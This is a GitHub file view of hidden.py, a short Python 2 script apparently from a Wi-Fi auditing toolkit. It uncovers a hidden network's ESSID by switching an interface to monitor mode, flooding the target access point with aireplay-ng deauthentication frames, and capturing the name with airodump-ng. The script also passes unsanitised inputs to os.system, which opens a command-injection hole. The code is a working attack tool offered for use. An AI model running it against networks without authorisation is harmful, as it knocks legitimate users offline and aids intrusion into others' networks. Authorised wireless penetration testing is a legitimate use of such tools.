forked from ricardojoserf/pywisam
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhidden.py
More file actions
28 lines (20 loc) · 804 Bytes
/
hidden.py
File metadata and controls
28 lines (20 loc) · 804 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
from subprocess import check_output
#def_interface="wlx002522509005"
#def_mac="C8:1F:BE:B8:39:74"
#def_canal="6"
def find_hidden_essid(interface,mac,canal):
def execute(cmd):
os.system(cmd+" > /dev/null 2>&1")
print "Setting monitor mode and channel..."
execute("ifconfig "+interface+" down")
execute("iwconfig "+interface+" mode monitor")
execute("iwconfig "+interface+" channel "+canal)
execute("ifconfig "+interface+" up")
print "Deauthenticating..."
cmd1="sudo aireplay-ng -0 30 -a "+mac+" "+interface+" "
execute(cmd1)
print "Trying to get ESSID... (If it returns <length:, wait or try again)"
cmd2="sudo airodump-ng -c "+canal+" --bssid "+mac+" "+interface+" 2>&1 | grep PSK | awk '{print $12}'"
os.system(cmd2)
#find_hidden_essid(def_interface,def_mac,def_canal)